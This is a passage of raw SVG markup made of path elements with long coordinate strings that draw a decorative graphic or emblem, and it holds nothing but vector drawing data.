transform="translate(-23 -22)"/><path class="cls-1" d="M128.46,100.32c-.14.19-.42.14-.57.43a.61.61,0,0,0,.29.82.78.78,0,0,0,.91,0c.1-.24.33-.39.19-.63a1.37,1.37,0,0,0-.82-.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M109.18,105.38c.53.29,1.29,1,1.78.43-1.11-1.45-1.49-3-3.12-3.9a6.33,6.33,0,0,1-1-.53c-.34.09-.77-.53-1,.05,1.68,1.1,1.63,3,3.3,3.95Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.87,109.52v-.09l0,0c-.53-.67-1.68,0-2.31-.53a36.16,36.16,0,0,1-9.42-2.36c.05-.14.24-.1.39-.1a1.24,1.24,0,0,0,.76-1.2,1,1,0,0,0-1.82.29,1.18,1.18,0,0,0,.72.91c-.1.1-.29,0-.43,0-1.48-.67-2.92-1.3-4.36-2-.53-.1-1-.53-1.48-.63-1.1-.53-2.2-1.06-3.3-1.49-3.07-1.59-6.46-2.46-9.72-3.62-.71-.19-1.39-.39-2.05-.58-1.2-.33-2.4-.62-3.59-1-4.07-1-9.53-1.11-13.07,1.11-.57-.19-.9.72-1.19.14,1-2.65,3.92-3.51,6.55-3.61,19.19-.19,37.18-.34,56.08-.63a6.07,6.07,0,0,0,5.51-2.74,4.87,4.87,0,0,0,.33-4.44,3.83,3.83,0,0,0-3.59-2,3.28,3.28,0,0,0-2.68,2,2.44,2.44,0,0,0,.92,2.65.72.72,0,0,0,.95-.24c.24-.62-.44-.62-.53-1.11a1.59,1.59,0,0,1,.53-1.68c.48-.48,1.29-.25,1.86-.25a3.41,3.41,0,0,1,1.44,1.4,3.88,3.88,0,0,1,0,2.56,4.27,4.27,0,0,1-3,2.41c-4,.58-47.56.38-47.56.38-5.12.49-11-1-15.36,1.74-2,1-3,3.18-3.54,5.16a34.25,34.25,0,0,0-3.73,3.8l-.15-.14c.24-1.16.77-2.17,1-3.33.71-1,.71-2.26,1.24-3.32,1.82-2.94,3.54-5.93,6.37-8,1.2-1.6,3.3-1.31,5.11-1.31a12.71,12.71,0,0,0,6.66,1,.42.42,0,0,0,.14-.34c-.67-.63-1.77-.87-2.53-1.49-1.92-.92-3.74.29-5.74.14-.1-.1-.2-.14-.15-.29a28.06,28.06,0,0,1,5.94-3.18,40.35,40.35,0,0,1,5.21-2.07c.72,0,1.39-.63,2.06-.19-1.43,2.79-2.73,5.78-4.93,8.14-.72,0-1.15.77-1.87.82-.38.53-1.15.15-1.63.34-1.48.63-3.58.24-4.59,1.64a.71.71,0,0,0,.38.24c2.92,0,6.18.24,9.29.1a1.16,1.16,0,0,0,.76-.92c-.43-.82.15-1.54.53-2.17.24-1.16,1-1.88,1.34-3,1-2,2.15-3.9,3.25-5.88h0c.1,0,.19.19.39.15,2.15-.73,4.88,0,7.32-.1l.33.29h0a34.26,34.26,0,0,1-.43,7c-.81,2.79-4,2.51-6.32,3.13-.57.39-1.67.19-1.67,1.16,2.78.58,6,.24,9,.19.47-.19.57-.63.81-1.06.1-.63.72-1.16.53-1.83-.53-.67-.05-1.74-.2-2.65a1.44,1.44,0,0,0,0-.92c.39-1.39.29-3.08.58-4.43h0c.86.09,1.24,1.11,2.15,1.15.48-.67-.53-1-.77-1.39a5.24,5.24,0,0,1,3.21.48l-.47.53c-.29.53.14.92.57,1.11s.57-.15.82-.24c.61-.44-.06-.87.14-1.26a45.78,45.78,0,0,1,10.19,2.9c.9.28,1.76,1,2.78.91a13,13,0,0,0-3.64-1.93c-.82-.48-2-.53-2.59-1.2.15-.24.48-.15.63-.34a7.12,7.12,0,0,0,4.16-2.7c.09-.29.62-.19.57-.58-.43-.48-1.15.15-1.72.1-2,.39-2.87,2.75-4.88,3.18-2.44-.58-4.93-1.15-7.37-1.78a14.37,14.37,0,0,1-3.59-.78,24.72,24.72,0,0,1,.33-2.64,1.77,1.77,0,0,0,.2-1,2.38,2.38,0,0,1,.47-.48l1-.46a12.07,12.07,0,0,1,3.84,0,10.33,10.33,0,0,0,2.39.53,1.76,1.76,0,0,1,1.2-.24c1.53-.82.52-2.6.62-4h0a30.72,30.72,0,0,0,3.62-3.95.91.91,0,0,0-.52-.91.82.82,0,0,0-1,.19c-.57.44,0,1,0,1.49a8,8,0,0,1-2.2,1.89,1.9,1.9,0,0,0-.41.15l-.12-.3a6.4,6.4,0,0,1-.38-1c-.28-.34-.48-1-.76-1.3-.82-2.12-2.39-3.33-3.74-5-2.44-3.17-6.26-5-10.09-6.21s-7.61.38-11,1.59a2.76,2.76,0,0,1-1.87-2,9.61,9.61,0,0,1,.92-5.12c.14-1.2.95-2.12,1.29-3.22a34.33,34.33,0,0,0,2-8.29c.1-1.78-1.24-3-2.58-3.81a2.63,2.63,0,0,0-2.64.53,7,7,0,0,1-3.1,2.8c-.1.82.91.28,1.24.57,1,.2,2.24-.14,3.11.53.09,1.93-1,3.52-2,5a38.69,38.69,0,0,0-4.36,7.51l0,0v-2.5h0v0H167.13c-1.15-.39-2-1.59-3.31-1.59-2.68-1.06-4.44,1.73-7.17,1.4-.34.19-.24.53-.43.77s-.38,0-.53-.05c-.14-1.15-.53-2.22-.67-3.32-.28-.48-.14-1.16-.38-1.64-1.53-4.19,3.73-1,4.78-3.47.91-2.12-1.77-2.36-2.58-3.85v-.63c-.77-.77-1.58-1-2.06-2a7,7,0,0,0,.14-3.71c0-.29-.23-.67-.67-.53-.9,1.25-1.57,2.27-2.44,3.47A26.61,26.61,0,0,0,149,32.75c-.72-.1-1.39-.82-2.2-.53a.66.66,0,0,0,.14.72,7,7,0,0,0,2.34,4.73l.15.72c-.86,2-.62,4.24-.86,6.36a35.38,35.38,0,0,1-10.38,14.61c-2.73,3.08-6,6.07-6.41,10.31-.15.67.09,1.49-.44,2a16.16,16.16,0,0,1-4.44-2.36c-2.2-1.54-5.36-1.35-6.8-4.14-.57-1.11.15-2.22.67-3,1.62-1.54,1.39-4.29.53-6.17-.19,0-.24.2-.38.24-.15,2.85-2.4,4.82-1.54,8,.2.92.67,1.5.91,2.37a7.1,7.1,0,0,1-1.1-.25,11.92,11.92,0,0,0-3.2-.42c-2.2,1-5.22-.25-7,1.78-.29,0-.67.09-.57.53,1,0,2,.28,3.1.24,1.68.28,2.78-1.12,3.93-1.74h.29c.48-.48,1.29-.19,1.91-.29,3,.34,5.36,1.79,7.85,3.28v.19c-1,.44-2.06.72-3,1.25a6.57,6.57,0,0,0-2.68,3.23c-.76,1.21.24,2.27.72,3.28,0,.48.1,1.06.53,1.25,1.53-1.64.09-3.66.33-5.54.39-1.44,1.73-2.12,3.11-2.5,2.73-1.16,4.7,1.06,6.89,2.31,0,2.22.24,4.34-.24,6.5a5.68,5.68,0,0,1-2.24.34c-3.79.29-6.75,2.36-10.15,3.52-1.53.53-3.35.48-4.88,1.06,1.2.34,2.44-.1,3.69-.14,4.68-.68,8.27-4.29,13.34-3.67l.1.15A11.41,11.41,0,0,1,128.75,84c-.14-.53-.19-1-.67-1.25a.89.89,0,0,0-1.1.38.69.69,0,0,0,0,.73,1.56,1.56,0,0,0,1.06.67c-.1.43-.63.63-.91,1-1.34,2.27-4.07,1.35-5.65,2.94-.24.34-1.1.53-.72,1.06a7.17,7.17,0,0,0,4.93-1.25c1.77-2,3.64-3.86,5.4-5.74A5.73,5.73,0,0,1,130,86.92a5.19,5.19,0,0,0-1.29-.72,1.17,1.17,0,0,0-.86,1,2.83,2.83,0,0,0,.72,1c-1.63,1.15-3.68,1.25-5.55,1.78a95.35,95.35,0,0,1-10.43.77c-1.68-.1-3.59.48-5.17,0-1.82.33-3.78-.24-5.26.77-.2.24,0,.48,0,.72,2.2,1.45,5.22.29,7.71.73H128.8a8.46,8.46,0,0,0,3.88-.73c2.44-1.39,3.77-3.9,5-6.36a10.12,10.12,0,0,0,1-2.89A4.14,4.14,0,0,1,142.29,80a22,22,0,0,1-.81,7.32c-.29,1.55-1.29,3-.67,4.68.14.77,1,.77,1.58.87,5.79-.1,11.58-.34,17.7.09a14.4,14.4,0,0,0,3.25.48c.1-.14.43-.19.29-.48a1.8,1.8,0,0,0-1.15-1.34c-.09-.29-.52-.2-.66-.39-3.07-1.73-6.76-.82-10.34-.77-1.87.19-3.73.53-5.31-.53-.72-.87-.19-3.62-.19-3.62a35.24,35.24,0,0,1,1.5-5.25,34.64,34.64,0,0,1,5.05,2.6,31.92,31.92,0,0,1,4.78,2.56c6.51,3.61,10.82,9.59,13.74,16.24,0,.53.52,1.11.19,1.64-1-1.55-2.44-2.42-3.63-3.67A7.06,7.06,0,0,0,164,95.06c-.72-1-2.25-1.15-3.45-1.49l-17.41-.1c-14.17-.19-27.09.44-41.15.19-2-.19-4.36-.86-4.93-2.93a3.22,3.22,0,0,1,0-2.65,2.92,2.92,0,0,1,2.44-1.31,2.56,2.56,0,0,1,1.63,1.36c0,.62-.53,1.2-.77,1.73,0,.19.24.58.57.43a2.24,2.24,0,0,0,1.25-1.54c0-.34.19-.82-.15-1.06a3.17,3.17,0,0,0-2.24-2,4,4,0,0,0-3.26,1.1c-1.15,1-1.1,2.7-.76,4.05a6.45,6.45,0,0,0,5.16,3.86l46.56.19c4.54.24,9.67-.53,14.26.38A5.5,5.5,0,0,1,165.59,99c0,.09-.19,0-.33,0a20.77,20.77,0,0,0-13.59-2.79c-1.91-.1-3.63.63-5.36,1.11a2.77,2.77,0,0,1-2.35-.77c-1.72-1.54-4.73-1.45-6.93-.87,0,.15-.05.29.05.34,2.34-.19,3.73,1.83,5.84,2.07.47.1.86-.43,1.28,0a43.83,43.83,0,0,1-6.64,3c-.72-.14-1.11-.82-1.68-1.21-.91-1-2.58-.57-3.83-.67-.43.1-.81-.19-1.1,0a4.15,4.15,0,0,0,2.06,1.59c1.2.53,2.58,0,3.68.68a4.73,4.73,0,0,1-1,.67c-2.25.87-4.12,2.89-6.6,2.75a8.52,8.52,0,0,1-7.08-2.32,4.81,4.81,0,0,0-4.84-2.79c-.14.09-.33.09-.29.34,1.06.62,1.87,1.87,2.92,2.6.67.82,2,0,2.59.91A8.62,8.62,0,0,0,125.5,105a14.79,14.79,0,0,0,2.48.67l-.33.19c-4.35,1.45-9.38,1.59-14.26,1.4-1.44,0-2.82-.49-4.26-.44a2.63,2.63,0,0,0,1.15.68,2.78,2.78,0,0,1-1.29.38,9,9,0,0,0-1.82.49,4.72,4.72,0,0,0-2,.48,10.18,10.18,0,0,1-2.73,2.22c0,.19,0,.48.19.48.91-.39,2.06-.1,3-.48,1.57-.15,2.48-1.89,3.73-2.61,1.34-1.06,3.25-.82,4.88-.58,1,.25-.1.63.19,1.25.38.35.72.73,1.25.58a.73.73,0,0,1,.33-.23,1.09,1.09,0,0,0,0-1.21c.67-.43,1.59,0,2.3-.24,1.82,0,3.64-.44,5.41-.48.28,0,.62-.34.91,0-.14.38-.63.44-.43,1s.57.63,1,.72c.48-.19.91-.53.72-1.15-.1-.34-.47-.39-.72-.53,1-.48,2.16-.63,3.16-1.11a10,10,0,0,0,2-.67c.61,0,1.14-.63,1.71-.39a9.5,9.5,0,0,1-1,2.31c-.76,2.56-1.34,5.93,0,8.39.15,0,.19,0,.29-.1-1-2.55-.43-5.49.43-7.9.67-4.09,4.88-5.3,7.89-6.84l.15.19c-.82,2.12-2,4.14-1.82,6.7.09.43-.19.86,0,1.15a5,5,0,0,0,1.77-2.21c.33-2.17-.91-4.87,1.29-6.46,3.92-1.54,7.61-3.57,12.15-3.61.15.14.48-.1.53.18-1,1.07-2.34,2.08-2.77,3.38-1.53,2.12-1.49,5.73-.82,8.34.43,1.49-.86,2.31-1.48,3.47-.3.41-.39,1.11-.66,1.58l.94.11-1.57.36a1.23,1.23,0,0,1-.53,0c-.77-2,1.53-3.18.81-5.1a3.47,3.47,0,0,0-3.3-2,4,4,0,0,0-3.83,2c-1.1,2.41.29,4.91.72,7.27-.1.77.77,1.64,0,2.27a6.51,6.51,0,0,0-5.4-1.11c-.58.29-1.63-.1-1.91.58,2.05,1.1,4.68,1,7,.86.28-.09.47-.14.71,0,.2,1.25-.24,2.94.53,4a4.9,4.9,0,0,0,3.68,1.59c4.41-.14,8.33-1.44,12.35-2.46.62-.05,1.1-.38,1.77-.38a34.49,34.49,0,0,1,6.79-.92,12,12,0,0,0-2,4.34c-.58,1.3,1,1.49,1.48,2.22-1.48.43-2.54,1.44-3.93,2-3.05-.1-5.64,1.06-8.51,1.4,0,.62,1,.43,1.1,1.06-.14.43-.58.48-.91.72,0,.29,0,.34.29.38.29-.33.91-.09,1.19-.43,1,0,1.77-.29,2.68-.34a8.56,8.56,0,0,0,2.44-1c1-.29,1.63-1,2.63-1.25,1.44,0,2.73-.48,4.07-.58v.29c-1.1,1.78-2.24,3.61-3.39,5.3a.53.53,0,0,0,.33.77,2.5,2.5,0,0,0,1.87-.29,57.88,57.88,0,0,0,2.72-5.16c.34-1.64,1.53-2.5,2.73-3.61.19-.1.48-.39.67-.1a21.17,21.17,0,0,0-2.29,3.38c-.39,1.35-.49,3.08.71,4.19.57.48,1.44.34,2.2.39,1.87-1,4.26.57,5.7-1.26.86-.14,1,.87,1.48,1.35.81.24,1.67,1.06,2.49.48-.05-.53-.63-1-.91-1.49-.58-1-1.29-1.83-1.82-2.75a9.49,9.49,0,0,1-.77-1.78,14.66,14.66,0,0,0,2.59,1,16.74,16.74,0,0,1,2.59.77,8.88,8.88,0,0,0,2.39,1.84c1.19.57,2.53.67,3.77,1.15.49,0,1.2.44,1.54,0a2.14,2.14,0,0,0-.72-.53c-.15-.62.86-.29,1.19-.77a.67.67,0,0,0-.55-.37c-.69-.36-2.39-.49-2.85-.74a9.78,9.78,0,0,1-1.67-.53c-2.87,0-4.45-2.6-6.74-3.56.52-.49,1.33-.88,1.67-1.59a2.7,2.7,0,0,0,.14-2.56c-.43-1.49-2.34-1.3-3.44-2.12l.14-.15a20.11,20.11,0,0,1,5.17.68c4.59.62,8.85,2.36,13.64,2.46,2.63,0,5.93.14,7.22-2.41.24-1.5.53-3,.77-4.48.57-2.41,2.15-4.63,1.91-7.28a5,5,0,0,0-3.25-3,4.14,4.14,0,0,0-4.16,1c-1.73,1.4-.53,3.71-.48,5.59,0,.39.05.68-.34.87-6.93-.63-13.39-2.36-20.29-3.08-1.58-.28-3.17-.21-4.68-.52l-1.92-.21c-6,.2-12,.53-17.56,2-1.19.38-2.54.48-3.73.91-.86-.14-1.58.48-2.39.25a5.13,5.13,0,0,0,1.62-3.19,1.34,1.34,0,0,0,.91,1c.34-.53-.28-.92-.33-1.45.76-.43,1.1.53,1.72.73a12.14,12.14,0,0,0,2.92.67l.33-.34c-1-1.64-3.16-1.92-5-2-1-1.59-1-3.57-.86-5.5a8.19,8.19,0,0,1,.95-3A7.36,7.36,0,0,1,152.53,99a6.76,6.76,0,0,1,3-1.63h.15a.21.21,0,0,0,.05.14c-1.29,1-1.44,2.41-2.2,3.67a4,4,0,0,0-.43,4.18c.28.63.14,1.6.81,2a10.65,10.65,0,0,0,1-2.94c-.14-1.59-1.1-3.08-.19-4.63a4,4,0,0,1,2.58-2.12c2.64-.24,4.93,1.11,7.23,2.12.48.34,1.29.63,1.39,1.31a3.91,3.91,0,0,1-6.13,3.18,3.33,3.33,0,0,1-.76-2.94,2,2,0,0,1,2.1-.77c.48.24.91.72,1.53.43a.59.59,0,0,0,.19-.77c-.52-.29-.71-1-1.43-1.11a3.07,3.07,0,0,0-2.63.53,3.38,3.38,0,0,0-1.1,3.37,4.12,4.12,0,0,0,3,3.09,5.56,5.56,0,0,0,5.89-2,6.45,6.45,0,0,0,1.06-2.07,12.54,12.54,0,0,1,4.92,6.36,10.33,10.33,0,0,1,.05,2.41l1.67.15a1.61,1.61,0,0,1,.15-1.16,14.41,14.41,0,0,1,4.93-7.9c.81-.48.61.62.81,1a6.44,6.44,0,0,0,4.16,3.66,5.24,5.24,0,0,0,5.17-1.68c.62-1.16,1.39-2.85.33-4a3.26,3.26,0,0,0-2.62-1.25,3.21,3.21,0,0,0-2.63,1.78c0,.39-.06.82.28,1,.19,0,.58,0,.72-.24.1-.72.71-1.06,1.29-1.45a1.49,1.49,0,0,1,1.53.29,2.57,2.57,0,0,1,.67,1.88,2.93,2.93,0,0,1-1.58,2.27,4.86,4.86,0,0,1-4.59-.44,10.17,10.17,0,0,1-1.34-2.12,3.41,3.41,0,0,1,0-2.21,16.07,16.07,0,0,1,6.84-2.41,4.92,4.92,0,0,1,2.54,1.58c2.2,2.27-.48,5.5,1.05,8,.58-.1.58-.87.81-1.35.72-1.73-.19-3.62-.62-5.3A9.74,9.74,0,0,0,190.33,98a1.31,1.31,0,0,1,.58-.09,12,12,0,0,1,2.92,2.5,13,13,0,0,1,1.86,7.91c-.38,1.44-1.91,2.12-3.11,2.65a4.36,4.36,0,0,0-1.29,1.54c.58.33,1.39,0,2-.24.91-.34,1.44-1.5,2.06-2,.09,0,.05.19.09.29,0,.52-.23,1.25.24,1.39a16.72,16.72,0,0,0,.43-2.46,4.66,4.66,0,0,1,.91,2.41c.43.87,1.15,2,2.3,2.17.29-.43-.05-.87-.14-1.25-.15-1.21-1.15-1.83-1.82-2.7-1.68-2.31-.91-5.93-2.2-8.53A10.3,10.3,0,0,0,192.54,98l.19-.19c2.34,0,4.3.72,6.46,1.16,2.63,1.3,6.46,1,7.7,4.43a12.65,12.65,0,0,0,2.73,5.2l.14-.09a2,2,0,0,0,0-1.79c-.29-2.4-2.39-3-3.5-5l.15-.2a33.53,33.53,0,0,1,3.49,1.11c3.83,1.06,6.5,4.82,7,8.72a18.93,18.93,0,0,1-1.77,8.24c-.15.39-.82.82-.39,1.16.53-.39.63-1,.91-1.45a13.37,13.37,0,0,0,1.59-9.68c-.06-.63-.77-1.11-.44-1.73a1.56,1.56,0,0,0,.82.43c.29-.2.72-.2.91-.53s.24-.63,0-.87a1.3,1.3,0,0,0-1.39-.34,2.36,2.36,0,0,0-.58,1.06,9.78,9.78,0,0,0-1.72-2.55l.1-.14c2.15.72,4.11,1.77,6.32,2.36a3.18,3.18,0,0,0,1.67.52,46.46,46.46,0,0,0,5.88,1.5c1.44-.15,2.64.53,4.07.19ZM156,132.07l-.67-.62c.33-.43,1-.19,1.58-.48a8.22,8.22,0,0,1,4.06-.58c-1.44,1.16-3.3,1.3-5,1.68Zm29.87-.76a21.25,21.25,0,0,0,5.1,1.2c-.15.66-1.31,0-1.18,1-1.48-.57-3.21-.86-4.31-2,.1,0,.2-.19.39-.14ZM141,110.82a3.45,3.45,0,0,1,1.15-2.41,4,4,0,0,1,3.78.15,1.8,1.8,0,0,1,.77.91,2.17,2.17,0,0,1-.72,2.17h-.48a5.45,5.45,0,0,1,.28-2.17c0-.58-.52-.62-.9-.87a2.84,2.84,0,0,0-2.16.49,2.16,2.16,0,0,0-.62,2.12c.33.53.05,1.25.24,1.83l-.14.19a3,3,0,0,1-1.2-2.41Zm2.25,1.38c.72.53,1.72.29,2.58.44a1.75,1.75,0,0,1-.24,1.63c-.81-.19-1.86-.1-2.3-.87.1-.33-.13-.81,0-1.2Zm-.14-1.62c.14-.38,0-1,.52-1.06.34-.09.86-.09.91.29a9.18,9.18,0,0,1-.24,1.69,1.09,1.09,0,0,1-1.19-.92Zm22.44,15.47a5.21,5.21,0,0,1,1.53-4.34,2.77,2.77,0,0,1,2.06.1c-1.25.34-2.83.62-3.11,2.22.05.62-.15,1,.14,1.49.52.92,1.72.53,2.39,1.25a.62.62,0,0,1-.43.58,18.89,18.89,0,0,1-2.58-1.3Zm-1.72,3.33c1.15-.49,2.34-1.5,3.63-1.06a6.61,6.61,0,0,1-3.63,1.06Zm4.54.48a35.4,35.4,0,0,1-2.34,4.53c-.1.24-.48.29-.77.34,0-.68.67-1.21,1-1.79,1-1.3,1.3-2.69,2.44-3.95.29.29-.28.48-.28.87Zm1.2-2.8v.19h-.1V127h.19a.33.33,0,0,0-.19,0Zm-.43-1.3a11.55,11.55,0,0,1-2.3-.57c-.48-.49,0-1,0-1.55.67-1.06,2.58-1.59,3.49-.62a5.09,5.09,0,0,1-1.19,2.74Zm1.05,0a8.13,8.13,0,0,1,.76-2,4,4,0,0,1-.76,2Zm.52-3.9c-.62-.15-1-.87-1.62-.87a3.91,3.91,0,0,1,1.81,0c.24.34-.13.63-.19.92Zm.58,1.45h0v-.53h0v.53Zm.05,2.21c-.05-.19.09-.43.14-.67.24-.24.48.19.58.34a.73.73,0,0,1-.72.33Zm.72-3a5.19,5.19,0,0,1,.71-1.78,2.83,2.83,0,0,1,1.29.19c.1,1,1.3,2.27,0,3.09-.43.19-1.05.62-1.53.19a1.33,1.33,0,0,1-.47-1.69Zm3.49-1.35c-.11-.43.42-.09.62-.28l1.48.09c-.77-.09-1.72,1.69-2.1.19Zm2.39.63c-.58.19-1,.87-1.58,1a1.94,1.94,0,0,1,1.58-1Zm-2,3v.14h-.05v-.14Zm.09,2.94c-.05.09,0,.24-.09.34l-1.1-.87a1.13,1.13,0,0,1,1.19.53Zm-1.29-1.49a.35.35,0,0,1,.43,0Zm-.67-.73c.2-.29.43-.72.77-.72a.2.2,0,0,0,.09.14,2.3,2.3,0,0,1-.86.58Zm-1.1-.1h-.19l.29-.28c.14.09-.05.19-.1.28Zm.14,1.83c.63-.67,1.2.39,1.44.92.72,1.06,2.59,2,1.87,3.47-.92.82-2.35.05-3.35.68-.53,0-1.43.09-1.72-.44a28.42,28.42,0,0,1,1.76-4.63Zm-1.33.92.24-.38a20.66,20.66,0,0,1-1.58,3.47c-.29-1.16.91-2.08,1.34-3.09Zm2.1,5.74c-.91.05-2.3.58-3.16-.2.06-.38-.38-.58-.33-1,.76-.29,1.43.63,2.15-.05a19.75,19.75,0,0,1,3.35.1c.53.14,1.34-.87,1.44.14-.39,1.59-2.3.48-3.45,1Zm2.78-6.94v-.15h.09V127Zm.28,3c0,.48.53.68.24,1.11a1.48,1.48,0,0,1-.24-1.11Zm1.34,2.9L178,133c-.23-.19-.14-.72-.09-1,.28.24.53.58.33.92Zm2.39,1.15c0,.15-.28.15-.37,0a25.52,25.52,0,0,1-3-5.78l.19,0c1.15,1.88,2.06,3.95,3.2,5.78Zm1.78-4.43a.19.19,0,0,0-.1.19c-1.39.05-2.3-.77-3.35-1.49l-.05-.24a8.89,8.89,0,0,1,3.5,1.54Zm-1.25-6.41c.57.14.62.77.67,1.25a2.85,2.85,0,0,1-3.49,2.56,3.07,3.07,0,0,0,2.87-1.64l-.05-2.17Zm-1.05-.19a3.21,3.21,0,0,1,.43,2.12c-.48.91-1.44.91-2.3,1.11a1.51,1.51,0,0,1-1.1-.35.48.48,0,0,0-.19-.48c.15-.62-1.1-1.25-.24-1.78.76-.72,2.59-2.36,3.4-.62Zm21.58-15a3.34,3.34,0,0,1,2.78.1,2.15,2.15,0,0,1,1.58,1c.71.67.52,1.87.38,2.74a2.75,2.75,0,0,1-2.06,1.64c0-1.16,1.1-2,.72-3.28a2.89,2.89,0,0,0-3-1c-.43.29-.24.77-.38,1.21l-.19,1.58c-1,0-1-.86-1.3-1.54a2.83,2.83,0,0,1,1.49-2.51Zm.87,4.34c.52-.53-.15-3.56,1.33-1.59,0,.39.05,1-.33,1.26s-.62.57-1,.33Zm.52,1.21c0,.77-.67.57-1.05.87h-1.15a2.63,2.63,0,0,1-.15-1.35,9.35,9.35,0,0,1,2.35.48Zm-48,.14a81.5,81.5,0,0,1,11.05-1.68c4.31,0,8.71-.29,12.83.43,1.34,0,2.49.38,3.78.48,2.68.34,5.17,1.07,7.89,1.25a13.1,13.1,0,0,0,1.44.25c4.31.67,9.14,1.87,13.25,0,0,1.73-.71,3.32-1,5-.39.48,0,1.25-.53,1.68,0,.87-.72,1.3-1.33,1.64-5.7,1.25-11.3-.67-16.8-1.64-7.71-1.68-16.7-2.16-24.55-.38-3.68.67-7.27,1.54-10.81,2.55-2.21.29-4.6.63-6.7,0-1.72-.83-1-3-1.53-4.58a25.89,25.89,0,0,0-.39-3.33,2.85,2.85,0,0,1-.19-1.25,20.63,20.63,0,0,1,2.2.82c4,.77,7.61-.53,11.34-1.21Zm51.68-34.21c0-.1-.19-.15-.14-.29,1.72-.44,3.2-1.45,4.93-1.88h0l.19.57-.1,1.6Zm0-4a5.87,5.87,0,0,0,.86-1.3c.05-.48-.19-.67-.48-1,.34-.34.87-.24,1.3-.34a5.41,5.41,0,0,1,2.67,3.19,33,33,0,0,1-5.83,2.16h0a17.8,17.8,0,0,1,1.48-2.7Zm-17-11.4c1.53,2.54,3.44,5.44,6.28,6.39,1.53,1.25,3.45,2.75,5.5,1.64,1.1-.34,1.2,1.21,1.73,1.83.57,1.79-.73,3-.82,4.68l-.07.15a1.91,1.91,0,0,1-1.12,1,11.28,11.28,0,0,1-2.2.63c-6.23,2.41-12.68,5-17.61,9.88a5.65,5.65,0,0,0,.47-2,4,4,0,0,0-.52-2.11,3.19,3.19,0,0,1-.36-1.27l6-3.81c1.52-.7,2.62-3,2.62-5.57l0-15.73.08,4.37Zm-1,11.7a5.79,5.79,0,0,1-2.17,4.45l-12.57,8h-.07a1.54,1.54,0,0,1-1,.34,1.56,1.56,0,0,1-1-.36l-12.55-8a5.75,5.75,0,0,1-2.16-4.45V69.46a.24.24,0,0,0,.38,0c1.25-.83.86-2.66.86-3.91.29-1.5-.76-2.21-1.19-3.52a.12.12,0,0,1-.05,0V51h5.21a4.22,4.22,0,0,0,1.15.5l.36-.5h24.75V75.89ZM154.59,57.57a3.93,3.93,0,0,1,1.63-2.75.55.55,0,0,1,.24.34h0v5.25c-.46-.93-2.36-1.64-1.88-2.84Zm9.18,31.86a90.86,90.86,0,0,0-15.88-9.61c.5-1.43.93-2.6,1.05-2.83a8.28,8.28,0,0,0,.29-2.22,9.34,9.34,0,0,0,.29-3.27A22.61,22.61,0,0,1,151,67c.29-.73.53-1.5.81-2.22a7.45,7.45,0,0,1,1-2.51c1.48.94,2.92,1,3.7,2.48l0,10.78c0,2.6,1.1,4.87,2.62,5.57l5.19,3.3c.07,1.66-1,3.14-.53,4.91v.1Zm7.37,10.06A34.79,34.79,0,0,0,165,90.68c-.1-.44-.53-.82-.29-1.3a3.52,3.52,0,0,0,.62-3.66c-.09-.25-.37-.54-.33-.78l-.4-.32,7.32,4.64a1.54,1.54,0,0,0,2.2.13l2.48-1.57c-1.81,2.69,1.13,6.62-1.17,9.17v.19c-.67.87-1,1.74-1.91,2.31-1.15-.48-1.58-1.78-2.25-2.74-1.06-1-1.06-3.09-.44-4.48.44-1.4-.28-2.6-.42-3.86l-.48-.28a5.54,5.54,0,0,0-.67,5.63c.48.87.53,2.08,1.24,2.8a15.6,15.6,0,0,0,2.06,3.57c.19.48-.29.57-.53.81-.52-.33-.43-1.11-.91-1.45Zm3.21,5.4c-.19.58-.58,1.06-.52,1.69l-.2.1c.14-.73-.57-1.16-.38-1.93-.38-.58-.38-1.3-.72-1.93s.38-1.1.72-1.63c.67.28.91.91,1.38,1.49.29.82-.33,1.44-.28,2.21Zm-.29-4.62a16.06,16.06,0,0,0,3.4-7c.34-.24.1-.86.43-1.16-.09-.76.43-1.53.05-2.16.3-1.06-1.4-2-.31-2.7l-.22.1,3.05-1.93a6.65,6.65,0,0,0-.37,4.05c.15.86.86,1.88.2,2.64-2.3,2.8-3.6,6.17-5.13,9.36-.57-.1-.86-.63-1.1-1.16Z" transform="translate(-23 -22)"/><path class="cls-1" d="M226.27,101.86a7.3,7.3,0,0,0-6.94,2.26c-.1.1-.05.25.09.34a1.3,1.3,0,0,0,.63-.14c2.39-.1,4.74-.53,6.41-2,.09-.24-.19-.29-.19-.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M217.79,103.93c.54-.24,1-.63.78-1.3a.91.91,0,0,0-1.49-.29c-.15.24-.48.44-.34.82a1.38,1.38,0,0,0,1,.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.88,103.26c.09.29.29.67.62.72a.94.94,0,0,0,.86-.25,1,1,0,0,0,.24-1c-.28-.44-.71-.39-1.1-.39a1,1,0,0,0-.62.92Z" transform="translate(-23 -22)"/><path class="cls-1" d="M119,106.19v-.33c-1.82-1.3-3.25-3.23-5.65-3.23-.28.1,0,.29,0,.43a6.49,6.49,0,0,1,2.54,2.42,3.71,3.71,0,0,0,3.11.71Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.87,102.63a8.86,8.86,0,0,0-4.26,4.58c.29.33.58-.15.91-.15,2-.72,2.92-2.74,4-4.38a1.53,1.53,0,0,0-.67-.05Z" transform="translate(-23 -22)"/><path class="cls-1" d="M128.9,103.64c.24.29.43.58.81.53.34-.29.72-.38.67-.91a1,1,0,0,0-1-.53c-.23.24-.67.43-.47.91Z" transform="translate(-23 -22)"/><path class="cls-1" d="M239.57,103.55l-.24-.29c-1.53.62-2.49,2.26-3.16,3.71-.24.43-.81.91-.57,1.39,1.53-.24,2.34-1.49,3.3-2.6.43-.67.24-1.59.67-2.21Z" transform="translate(-23 -22)"/><path class="cls-1" d="M102.72,104.08a.9.9,0,0,0,.38,1.15,1.11,1.11,0,0,0,1.1-.19.93.93,0,0,0,0-1.06c-.33-.58-1.19-.34-1.48.1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M100.33,104.17a.94.94,0,0,0-.48,1,1,1,0,0,0,1.1.63,1.1,1.1,0,0,0,.67-.58c0-.24-.09-.44-.14-.67a1,1,0,0,0-1.15-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M105.3,105.42c.39.39.78.88,1.45.58.57-.09.47-.77.37-1.15a1.32,1.32,0,0,0-1.24-.39,1.11,1.11,0,0,0-.58,1Z" transform="translate(-23 -22)"/><path class="cls-1" 